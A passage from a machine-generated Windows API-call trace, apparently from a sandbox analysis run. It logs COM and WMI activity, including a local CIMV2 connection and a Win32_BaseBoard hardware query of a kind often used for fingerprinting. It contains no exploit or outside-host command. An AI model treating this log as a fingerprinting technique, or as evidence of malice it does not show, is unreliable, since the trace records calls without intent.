This=0x1b1ff210, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb3b8 | out: ppvObject=0x1afbb3b8*=0x0) returned 0x80004002 [0169.166] WbemLocator:IUnknown:AddRef (This=0x1b1ff210) returned 0x3 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb278 | out: ppvObject=0x1afbb278*=0x0) returned 0x80004002 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb200 | out: ppvObject=0x1afbb200*=0x0) returned 0x80004002 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb1f0 | out: ppvObject=0x1afbb1f0*=0x0) returned 0x80004002 [0169.166] CoGetContextToken (in: pToken=0x1afbb2a0 | out: pToken=0x1afbb2a0) returned 0x0 [0169.166] CoGetContextToken (in: pToken=0x1afbb720 | out: pToken=0x1afbb720) returned 0x0 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7e0 | out: ppvObject=0x1afbb7e0*=0x0) returned 0x80004002 [0169.166] WbemLocator:IUnknown:Release (This=0x1b1ff210) returned 0x2 [0169.167] WbemLocator:IUnknown:Release (This=0x1b1ff210) returned 0x1 [0169.167] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0169.167] CoGetContextToken (in: pToken=0x1afbc060 | out: pToken=0x1afbc060) returned 0x0 [0169.167] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x1afbc1c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbc190 | out: ppvObject=0x1afbc190*=0x1b1ff210) returned 0x0 [0169.167] WbemLocator:IUnknown:AddRef (This=0x1b1ff210) returned 0x3 [0169.167] WbemLocator:IUnknown:Release (This=0x1b1ff210) returned 0x2 [0169.167] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc598 | out: puCount=0x1afbc598*=0x2) returned 0x0 [0169.167] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=8, puBuffLength=0x1afbc590*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc590*=0xf, pszText=0x0) returned 0x0 [0169.167] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=8, puBuffLength=0x1afbc590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc590*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.167] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc2e0 | out: ppv=0x1afbc2e0*=0x1b1ff230) returned 0x0 [0169.167] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b1ff230, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc458 | out: ppNamespace=0x1afbc458*=0x1b219340) returned 0x0 [0169.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc158 | out: ppvObject=0x1afbc158*=0x7e9e40) returned 0x0 [0169.184] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7e9e40, pProxy=0x1b219340, pAuthnSvc=0x1afbc220, pAuthzSvc=0x1afbc1a0, pServerPrincName=0x1afbc1c8, pAuthnLevel=0x1afbc1a4, pImpLevel=0x1afbc1b0, pAuthInfo=0x1afbc1d8, pCapabilites=0x1afbc1b4 | out: pAuthnSvc=0x1afbc220*=0xa, pAuthzSvc=0x1afbc1a0*=0x0, pServerPrincName=0x1afbc1c8, pAuthnLevel=0x1afbc1a4*=0x6, pImpLevel=0x1afbc1b0*=0x2, pAuthInfo=0x1afbc1d8, pCapabilites=0x1afbc1b4*=0x1) returned 0x0 [0169.184] WbemLocator:IUnknown:Release (This=0x7e9e40) returned 0x1 [0169.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc0f0 | out: ppvObject=0x1afbc0f0*=0x7e9e88) returned 0x0 [0169.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc100 | out: ppvObject=0x1afbc100*=0x7e9e40) returned 0x0 [0169.184] WbemLocator:IClientSecurity:SetBlanket (This=0x7e9e40, pProxy=0x1b219340, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.185] WbemLocator:IUnknown:Release (This=0x7e9e40) returned 0x2 [0169.185] WbemLocator:IUnknown:Release (This=0x7e9e88) returned 0x1 [0169.185] CoTaskMemFree (pv=0x1b204220) [0169.185] WbemLocator:IUnknown:Release (This=0x1b1ff230) returned 0x0 [0169.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x7e9e88) returned 0x0 [0169.185] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbc80 | out: ppvObject=0x1afbbc80*=0x0) returned 0x80004002 [0169.189] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x0) returned 0x80004002 [0169.190] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb478 | out: ppvObject=0x1afbb478*=0x0) returned 0x80004002 [0169.191] WbemLocator:IUnknown:AddRef (This=0x7e9e88) returned 0x3 [0169.191] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb338 | out: ppvObject=0x1afbb338*=0x0) returned 0x80004002 [0169.191] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb2c0 | out: ppvObject=0x1afbb2c0*=0x0) returned 0x80004002 [0169.191] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x7e9d68) returned 0x0 [0169.192] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7e9d68, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb2d8 | out: pCid=0x1afbb2d8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.192] WbemLocator:IUnknown:Release (This=0x7e9d68) returned 0x3 [0169.192] CoGetContextToken (in: pToken=0x1afbb360 | out: pToken=0x1afbb360) returned 0x0 [0169.192] CoGetContextToken (in: pToken=0x1afbb7e0 | out: pToken=0x1afbb7e0) returned 0x0 [0169.192] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x7e9e50) returned 0x0 [0169.192] WbemLocator:IRpcOptions:Query (in: This=0x7e9e50, pPrx=0x7e9e88, dwProperty=2, pdwValue=0x1afbb890 | out: pdwValue=0x1afbb890) returned 0x80004002 [0169.192] WbemLocator:IUnknown:Release (This=0x7e9e50) returned 0x3 [0169.192] WbemLocator:IUnknown:Release (This=0x7e9e88) returned 0x2 [0169.192] CoGetContextToken (in: pToken=0x1afbbea0 | out: pToken=0x1afbbea0) returned 0x0 [0169.192] CoGetContextToken (in: pToken=0x1afbbda0 | out: pToken=0x1afbbda0) returned 0x0 [0169.192] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x1afbbf00*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbed0 | out: ppvObject=0x1afbbed0*=0x1b219340) returned 0x0 [0169.192] WbemLocator:IUnknown:AddRef (This=0x1b219340) returned 0x4 [0169.192] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x3 [0169.192] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x2 [0169.193] SysStringLen (param_1=0x0) returned 0x0 [0169.193] CoGetContextToken (in: pToken=0x1afbbfd0 | out: pToken=0x1afbbfd0) returned 0x0 [0169.193] WbemLocator:IUnknown:AddRef (This=0x7e9e88) returned 0x3 [0169.193] WbemLocator:IUnknown:QueryInterface (in: This=0x7e9e88, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbfd0 | out: ppvObject=0x1afbbfd0*=0x7e9e88) returned 0x0 [0169.193] WbemLocator:IUnknown:Release (This=0x7e9e88) returned 0x3 [0169.193] WbemLocator:IUnknown:Release (This=0x7e9e88) returned 0x2 [0169.193] CoGetContextToken (in: pToken=0x1afbc100 | out: pToken=0x1afbc100) returned 0x0 [0169.193] WbemLocator:IUnknown:AddRef (This=0x1b219340) returned 0x3 [0169.193] IWbemServices:ExecQuery (in: This=0x1b219340, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x1afbc5a8 | out: ppEnum=0x1afbc5a8*=0x7bbce0) returned 0x0 [0169.214] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc278 | out: ppvObject=0x1afbc278*=0x7bbce8) returned 0x0 [0169.215] IClientSecurity:QueryBlanket (in: This=0x7bbce8, pProxy=0x7bbce0, pAuthnSvc=0x1afbc340, pAuthzSvc=0x1afbc2c0, pServerPrincName=0x1afbc2e8, pAuthnLevel=0x1afbc2c4, pImpLevel=0x1afbc2d0, pAuthInfo=0x1afbc2f8, pCapabilites=0x1afbc2d4 | out: pAuthnSvc=0x1afbc340*=0xa, pAuthzSvc=0x1afbc2c0*=0x0, pServerPrincName=0x1afbc2e8, pAuthnLevel=0x1afbc2c4*=0x6, pImpLevel=0x1afbc2d0*=0x2, pAuthInfo=0x1afbc2f8, pCapabilites=0x1afbc2d4*=0x1) returned 0x0 [0169.215] IUnknown:Release (This=0x7bbce8) returned 0x1 [0169.215] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc210 | out: ppvObject=0x1afbc210*=0x1b21fdd8) returned 0x0 [0169.215] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc220 | out: ppvObject=0x1afbc220*=0x7bbce8) returned 0x0 [0169.215] IClientSecurity:SetBlanket (This=0x7bbce8, pProxy=0x7bbce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.216] IUnknown:Release (This=0x7bbce8) returned 0x2 [0169.216] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x1 [0169.216] CoTaskMemFree (pv=0x1b2044c0) [0169.216] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbce0 | out: ppvObject=0x1afbbce0*=0x1b21fdd8) returned 0x0 [0169.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbd70 | out: ppvObject=0x1afbbd70*=0x0) returned 0x80004002 [0169.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb990 | out: ppvObject=0x1afbb990*=0x0) returned 0x80004002 [0169.217] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb568 | out: ppvObject=0x1afbb568*=0x0) returned 0x80004002 [0169.218] WbemLocator:IUnknown:AddRef (This=0x1b21fdd8) returned 0x3 [0169.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb428 | out: ppvObject=0x1afbb428*=0x0) returned 0x80004002 [0169.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb3b0 | out: ppvObject=0x1afbb3b0*=0x0) returned 0x80004002 [0169.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb3a0 | out: ppvObject=0x1afbb3a0*=0x1b21fcb8) returned 0x0 [0169.218] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b21fcb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb3c8 | out: pCid=0x1afbb3c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.218] WbemLocator:IUnknown:Release (This=0x1b21fcb8) returned 0x3 [0169.218] CoGetContextToken (in: pToken=0x1afbb450 | out: pToken=0x1afbb450) returned 0x0 [0169.218] CoGetContextToken (in: pToken=0x1afbb8d0 | out: pToken=0x1afbb8d0) returned 0x0 [0169.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb990 | out: ppvObject=0x1afbb990*=0x1b21fda0) returned 0x0 [0169.218] WbemLocator:IRpcOptions:Query (in: This=0x1b21fda0, pPrx=0x1b21fdd8, dwProperty=2, pdwValue=0x1afbb980 | out: pdwValue=0x1afbb980) returned 0x80004002 [0169.218] WbemLocator:IUnknown:Release (This=0x1b21fda0) returned 0x3 [0169.219] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x2 [0169.219] CoGetContextToken (in: pToken=0x1afbbf90 | out: pToken=0x1afbbf90) returned 0x0 [0169.219] CoGetContextToken (in: pToken=0x1afbbe90 | out: pToken=0x1afbbe90) returned 0x0 [0169.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x1afbbff0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbfc0 | out: ppvObject=0x1afbbfc0*=0x7bbce0) returned 0x0 [0169.219] IUnknown:AddRef (This=0x7bbce0) returned 0x4 [0169.219] IUnknown:Release (This=0x7bbce0) returned 0x3 [0169.219] IUnknown:Release (This=0x7bbce0) returned 0x2 [0169.219] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x2 [0169.219] SysStringLen (param_1=0x0) returned 0x0 [0169.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc5e8 | out: puCount=0x1afbc5e8*=0x2) returned 0x0 [0169.219] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc5e0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc5e0*=0xf, pszText=0x0) returned 0x0 [0169.219] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc5e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc5e0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.219] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0169.219] IUnknown:AddRef (This=0x7bbce0) returned 0x3 [0169.219] IEnumWbemClassObject:Clone (in: This=0x7bbce0, ppEnum=0x1afbc560 | out: ppEnum=0x1afbc560*=0x1b22d7a0) returned 0x0 [0169.220] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2e8 | out: ppvObject=0x1afbc2e8*=0x1b22d7a8) returned 0x0 [0169.220] IClientSecurity:QueryBlanket (in: This=0x1b22d7a8, pProxy=0x1b22d7a0, pAuthnSvc=0x1afbc3b0, pAuthzSvc=0x1afbc330, pServerPrincName=0x1afbc358, pAuthnLevel=0x1afbc334, pImpLevel=0x1afbc340, pAuthInfo=0x1afbc368, pCapabilites=0x1afbc344 | out: pAuthnSvc=0x1afbc3b0*=0xa, pAuthzSvc=0x1afbc330*=0x0, pServerPrincName=0x1afbc358, pAuthnLevel=0x1afbc334*=0x6, pImpLevel=0x1afbc340*=0x2, pAuthInfo=0x1afbc368, pCapabilites=0x1afbc344*=0x1) returned 0x0 [0169.220] IUnknown:Release (This=0x1b22d7a8) returned 0x1 [0169.220] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc280 | out: ppvObject=0x1afbc280*=0x1b220918) returned 0x0 [0169.220] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc290 | out: ppvObject=0x1afbc290*=0x1b22d7a8) returned 0x0 [0169.220] IClientSecurity:SetBlanket (This=0x1b22d7a8, pProxy=0x1b22d7a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.222] IUnknown:Release (This=0x1b22d7a8) returned 0x2 [0169.222] WbemLocator:IUnknown:Release (This=0x1b220918) returned 0x1 [0169.222] CoTaskMemFree (pv=0x1b203d40) [0169.222] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd40 | out: ppvObject=0x1afbbd40*=0x1b220918) returned 0x0 [0169.222] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbdd0 | out: ppvObject=0x1afbbdd0*=0x0) returned 0x80004002 [0169.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x0) returned 0x80004002 [0169.223] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb5c8 | out: ppvObject=0x1afbb5c8*=0x0) returned 0x80004002 [0169.245] WbemLocator:IUnknown:AddRef (This=0x1b220918) returned 0x3 [0169.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb488 | out: ppvObject=0x1afbb488*=0x0) returned 0x80004002 [0169.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb410 | out: ppvObject=0x1afbb410*=0x0) returned 0x80004002 [0169.245] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb400 | out: ppvObject=0x1afbb400*=0x1b2207f8) returned 0x0 [0169.246] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2207f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb428 | out: pCid=0x1afbb428*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.246] WbemLocator:IUnknown:Release (This=0x1b2207f8) returned 0x3 [0169.246] CoGetContextToken (in: pToken=0x1afbb4b0 | out: pToken=0x1afbb4b0) returned 0x0 [0169.246] CoGetContextToken (in: pToken=0x1afbb930 | out: pToken=0x1afbb930) returned 0x0 [0169.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x1b2208e0) returned 0x0 [0169.246] WbemLocator:IRpcOptions:Query (in: This=0x1b2208e0, pPrx=0x1b220918, dwProperty=2, pdwValue=0x1afbb9e0 | out: pdwValue=0x1afbb9e0) returned 0x80004002 [0169.246] WbemLocator:IUnknown:Release (This=0x1b2208e0) returned 0x3 [0169.248] WbemLocator:IUnknown:Release (This=0x1b220918) returned 0x2 [0169.248] CoGetContextToken (in: 